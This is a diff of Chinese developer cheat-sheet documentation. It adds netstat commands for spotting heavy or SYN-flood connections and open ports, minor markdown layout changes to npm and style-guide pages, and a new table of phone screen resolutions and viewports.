|
||||
|
||||
Netstat – 安全命令
|
||||
---
|
||||
|
||||
### 显示具有大量连接的 IP
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 连接到端口 80 的 IP 地址
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 显示端口 80 上的活动连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an |grep :80 |wc -l
|
||||
```
|
||||
|
||||
### 仅显示外部 IP 地址
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
|
||||
```
|
||||
|
||||
### 显示活动 SYNC_REC
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数，则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
|
||||
|
||||
```bash
|
||||
$ netstat -n -p|grep SYN_REC | wc -l
|
||||
```
|
||||
|
||||
#### 列出发送 SYN_REC 连接的唯一 IP 地址
|
||||
|
||||
```bash
|
||||
$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
与上面的命令一样，该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
|
||||
|
||||
### 每个远程 IP 的连接数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
或者
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 检查开放端口（ipv4 和 ipv6）
|
||||
|
||||
```bash
|
||||
$ netstat -plntu
|
||||
```
|
||||
|
||||
### 检查开放端口（ipv4 和 ipv6）
|
||||
|
||||
```bash
|
||||
$ netstat -plnt
|
||||
```
|
||||
|
||||
### 每个 IP 的打开连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an | grep 80 | wc -l
|
||||
```
|
||||
|
||||
### 活跃的互联网连接
|
||||
|
||||
```bash
|
||||
$ netstat -pnut -w | column -t -s $'\t'
|
||||
```
|
||||
@ -21,6 +21,7 @@ npm 备忘清单
|
||||
| `npm install <package_name>@<tag>` | 使用 dist-tags 安装包 |
|
||||
| `npm install -g <package_name>` | 全局安装包 |
|
||||
| `npm uninstall <package_name>` | 卸载包 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
`--save` 是 npm@5 的默认值。 以前，使用不带 `--save` 的 `npm install` 不会更新 package.json。
|
||||
|
||||
@ -40,6 +41,7 @@ npm 备忘清单
|
||||
| `npm i /path/to/repo` | 绝对路径 |
|
||||
| `npm i ./archive.tgz` | 压缩包 |
|
||||
| `npm i https://site.com/archive.tgz` | 通过 HTTP 压缩包 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 清单
|
||||
|
||||
@ -49,6 +51,7 @@ npm 备忘清单
|
||||
| `npm list -g --depth 0` | 列出所有全局安装包的安装版本 |
|
||||
| `npm view` | 列出此软件中所有依赖项的最新版本 |
|
||||
| `npm outdated` | 仅列出此软件中已过时的依赖项 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 更新
|
||||
|
||||
|
||||
@ -228,6 +228,16 @@ const school = <div>学校</div>;
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### HTML 代码预览
|
||||
|
||||
```
|
||||
```html preview
|
||||
这里是你的 HTML 代码
|
||||
\```
|
||||
```
|
||||
|
||||
上面的 `markdown` 代码在 `meta` 位置添加 `preview` 标识，HTML 代码将被执行预览
|
||||
|
||||
|
||||
布局
|
||||
---
|
||||
@ -602,6 +612,17 @@ H2 部分
|
||||
|
||||
`<!--rehype:className=style-list-arrow-->`
|
||||
|
||||
### 隐藏表头强制小尺寸自动换行
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
|
||||
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
|
||||
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
|
||||
<!--rehype:className=auto-wrap-->
|
||||
|
||||
`<!--rehype:className=auto-wrap-->`
|
||||
|
||||
列表
|
||||
---
|
||||
|
||||
|
||||
278
docs/resolutions.md
Normal file
278
docs/resolutions.md
Normal file
@ -0,0 +1,278 @@
|
||||
Resolutions 备忘清单
|
||||
===
|
||||
|
||||
此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- 分辨率是像素数（单个颜色点）
|
||||
- 可视窗口由屏幕上网页填充的矩形大小定义
|
||||
- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
|
||||
- 用于设计
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
解析度清单列表
|
||||
------
|
||||
|
||||
### 手机
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 |
|
||||
| Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 |
|
||||
| Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 |
|
||||
| Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 |
|
||||
| Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 |
|
||||
| HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 |
|
||||
| HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 |
|
||||
| Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 |
|
||||
| Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 |
|
||||
| Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 |
|
||||
| Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
